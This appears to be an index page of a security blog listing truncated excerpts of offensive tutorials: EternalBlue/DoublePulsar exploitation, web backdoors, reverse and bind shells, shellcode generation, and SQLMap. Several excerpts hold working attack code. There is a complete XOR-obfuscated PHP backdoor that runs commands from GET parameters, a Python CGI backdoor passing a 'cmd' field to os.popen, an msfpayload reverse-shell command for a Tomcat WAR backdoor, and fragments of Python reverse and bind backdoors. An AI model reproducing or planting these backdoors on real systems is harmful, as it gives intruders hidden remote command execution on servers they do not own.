Tutorials | Spentera Blog

SMB Exploit (MS17-010) dengan EternalBlue dan DoublePulsar

EternalBlue dapat digunakan untuk melakukan eksploitasi pada layanan Server Message Block (SMB) tanpa membutuhkan proses otentikasi. Kemudian ditambah dengan menggunakan DoublePulsar untuk mengirim sekaligus mengeksekusi malicious Dynamic-Link Libraries (DLL) atau raw shellcode pada komputer korban. Berikut contoh percobaan eksploitasi pada layanan Server Message Block (SMB) menggunakan EternalBlue dan DoublePulsar. Percobaan

Tutorials

Directory Traversal with DotDotPwn (HTTPS Mode)

This is my experience when I was dealing with some applications that have a Directory Traversal vulnerability. I was using DotDotPwn by nitr0us when finding a vulnerability on Quickshare File Server 1.2.1 (on the FTP protocol). I also used DotDotPwn when doing a pentest on my client. So,

Tutorials

Non-alphanumeric PHP Simple Backdoor

After read and learn about non-alphanumeric code in php, i decide to write my own non-alphanumeric PHP simple backdoor. <? $_="{"; #XOR char $_=($_^"<").($_^">;").($_^"/"); #XOR = GET ?> <?=${'_'.$_}["_"](${'_'.$_}["__"]);?> well, it’s a quite simple script, just a XOR function over strings. By XOR-ing “

Exploit Development

SEH Based Stack Overflow - The Basic

Kali ini saya akan coba tehnik lain dari stack overflow, yaitu stack overflow berbasis SEH. Apa itu SEH? silakan dibaca diliteratur-literatur berikut: Structured Exception Handling Win32 Exception handling for assembler programmers Tidak ada yang lebih menyenangkan daripada belajar sambil mencoba. Kita akan mencoba SEH based stack overflow pada program yang

Tutorials

MSF Postgres Problem on BT5

If you read this post then I bet you have the same problem with me. When I tried to run the msfconsole on my BT5 I have this buggy information. [-] Failed to connect to the database: could not connect to server: Connection refused Is the server running on host

Tutorials

Silent Backdoor with Weevely

Ever think to gain access to your backdoor undetected? Well, maybe not all web administrators examine their php files? Weevely is the answer. Just follow these actions (I was doing this on Backtrack 5): root@bt:~# >cd /pentest/backdoors/web/weevely root@bt:/pentest/backdoors/web/weevely#./main.py

Tutorials

Metasploit Meterpreter Command Shell Upgrade

Seeing is believing ? root@bt:~# msfconsole =[ metasploit v3.8.0-dev [core:3.8 api:1.0] + -- --=[ 707 exploits - 359 auxiliary - 57 post + -- --=[ 225 payloads - 27 encoders - 8 nops =[ svn r13065 updated today (2011.06.29) msf > use exploit/windows/smb/ms08_

Exploit Development

Some Documents of File Specifications/Formats

Here are some documents to help you understand some file formats/headers, for file format fuzzing purpose: WAVE PCM soundfile format (RIFF) https://ccrma.stanford.edu/courses/422/projects/WaveFormat/ ZIP File format specification http://www.pkware.com/documents/casestudies/APPNOTE.TXT MPEG File format http://www.mpgedit.org/mpgedit/

Tutorials

Backtrack 5: How to install VMware Workstation 7.1.3

So I want to install VMware Workstation 7.1.3 on Backtrack 5, but there were errors after I ran the binary (e.g: ./VMware-Workstation-Full-7.1.3-324285.x86_64.bundle), so here’s the solution: Prepare the Kernel Look here: http://www.backtrack-linux.org/forums/backtrack-5-how-tos/40276-backtrack-5-how-prepare-kernel-sources-vmare-tools-drivers-etc.html Download

Tutorials

Dump Windows System Info

When you were asked to collect all Windows system information such as list of users, services, software installed and its version, Windows update history etc, you probably want to see these tools: System Information Collector WinUpdatesList v1.31 WinAudit Freeware v2.28.2 SAM/Password Extractor pwdump7* ( v7.1 ) (detected

Tutorials

Create a WAR backdoor with Metasploit

Facing a tomcat server.. and need to upload a WAR backdoor…??, well… we can create a WAR backdoor very easily with Metasploit, ok follow this steps: 1. Creating the backdoor. dudul@banget:~$ msfpayload linux/x86/shell_reverse_tcp LHOST=172.16.96.1 W &gt; dudul.

Tutorials

Remove Comments from Configuration

If you want to configure something, sometimes it contains the comments from the developer which help us to figure out options of arguments that will be used. But if you are already familiar with the configuration, comments can be annoying, and here we provide a way to remove them (using

Tutorials

ShodanHQ Queries For Penetration Tester

Have you ever heard SHODAN Search Engine? SHODAN is a search engine that lets you find specific computers (routers, servers, etc.) using a variety of filters. Some have also described it as a public port scan directory or a search engine of banners. SHODAN also lets you use boolean operators

Tutorials

0day Linux Escalation Privilege Exploit Collection

I have created a script that contains of local privilege escalation exploits that was published on Exploit-DB.com between October – November 2010. Take a look at here 201011-0day-linux-exploit.tar.bz2 (md5sum: b890f6aeccf1721267166e221cd547df) *Update: I rename the file and make the script more comfort. Please note that I am not

Tutorials

CGI Backdoor for Linux with Python

#!/usr/bin/env python # Info : Linux based CGI backdoor with python # author: otoy # date : 0x102010 import cgi,os,re,sys form = cgi.FieldStorage() cmd = form.getvalue('cmd', '') osexe = os.popen(cmd) dirt = os.getcwd()+'/' prognm = sys.argv[0].strip() progfl = re.findall(dirt+'(.*)',prognm)[0]

Web Security

Web Links Gatherer (ver 2)

By using Beautiful Soup, we can change the code as seen at the previous post to the code below… and it even works much better… just by changing the regex function, it return a better result : #!/usr/bin/python # otoy -- https://otoyrood.wordpress.com # 0x102010 from urllib

Tutorials

Web Links Gatherer dengan Python

program sederhana ini digunakan untuk mengumpulkan link-link yang ada pada sebuah halaman web, bisa juga di kembangkan menjadi sebuah crawler.. ? #!/usr/bin/python #info: program untuk mendapatkan info link-link # yang terdapat dalam sebuah halaman web # # otoy(https://otoyrood.wordpress.com) # 0x102010 from urllib import urlopen import re,sys peng = '''Penggunaan:

Tutorials

Bermain String dengan Python

#!/usr/bin/python import sys pgun='''penggunaan: %s <kalimat> contoh: python %s saya pusing'''%(sys.argv[0],sys.argv[0]) def main(): args = sys.argv[1:] if len(sys.argv) <= 1: print pgun sys.exit(1) #reverse kata (dalam bentuk list) args.reverse() #tampilkan kata yang sudah

Tutorials

Reverse Connection Backdoor for Linux

#!/usr/bin/python #Info : This is a linux based reverse connection backdoor and # this is NOT an interactive Shell! #Author : otoy #Date : 0x102010 #Blog : otoyrood.wordpress.com import socket,sys,os,re #define osinf = os.uname() info='''==================================== py_backdoor ==================================== Author : otoy Date : 0x102010 Blog : otoyrood.wordpress.com ==================================== System : %s

Tutorials

Bind Backdoor for Linux

#!/usr/bin/python # Info: This is a linux based bind backdoor and # this is NOT an interactive Shell! # Author: otoy# Date: 0x102010 # Blog: otoyrood.wordpress.com import socket, sys, os, re def daemonize(): pid = os.fork() if (pid != 0): os._exit(0) def main(): if len(sys.argv) < 2:

Tutorials

A polymorphic shellcode maker

/* A polymorphic shellcode maker original prorgam created by Rizki Wicaksono(http://www.ilmuhacking.com) i add some functions to make it more interesting, i add "sub,add" functions beside the original xor into decoder otoy(http://otoyrood.wordpress.com) 0x82010 */ #include <sys/time.h> #include <stdlib.h&

Tutorials

Mendapatkan Info User (sederhana) Menggunakan Regex Pada Python

#!/usr/bin/python import os, re osenv = str(os.environ) usrpat = re.compile(' 'USER': '(.*?)'') homepat = re.compile(' 'HOME': '(.*?)'') usrp = usrpat.findall(osenv) hmrp = homepat.findall(osenv) print 'USERNAME :' + usrp[0] print 'HOME :' + hmrp[0] in action:

Tutorials

Very Simple FTP Fuzzer

Written in Python, i try to make a simple fuzzer for FTP server. This script will try to fuzz the commands like APPE, USER, LIST, CWD, etc..you can find all commands here ? This script is simply a modified version from muts simple ftp fuzzer during offsec training ? Hope you

Tutorials

Reverse Engineering: Patch Program Sederhana

Dengan melakukan reverse engineering dan menganalisa kode sebuah program (assembler), kita bisa melakukan patching terhadap sebuah program dengan merubah alur program tersebut sesuai dengan yang kita inginkan. Pada tulisan kali ini, saya akan coba sedikit menjelaskan bagaimana melakukan patching tersebut. Kita akan menggunakan program sederhana berikut ini: #include <stdio.

Web Security

How to: SQLMap (dump and destroy)

SQLMap is the tool to automate SQL Injection vulnerability exploitation. This tool is very popular to exploit the SQL Injection vulnerability. While most of web hacker enthusiast knew about this tool to gather information and retrieves the tables information, i try to share this information about the powerful of SQLMap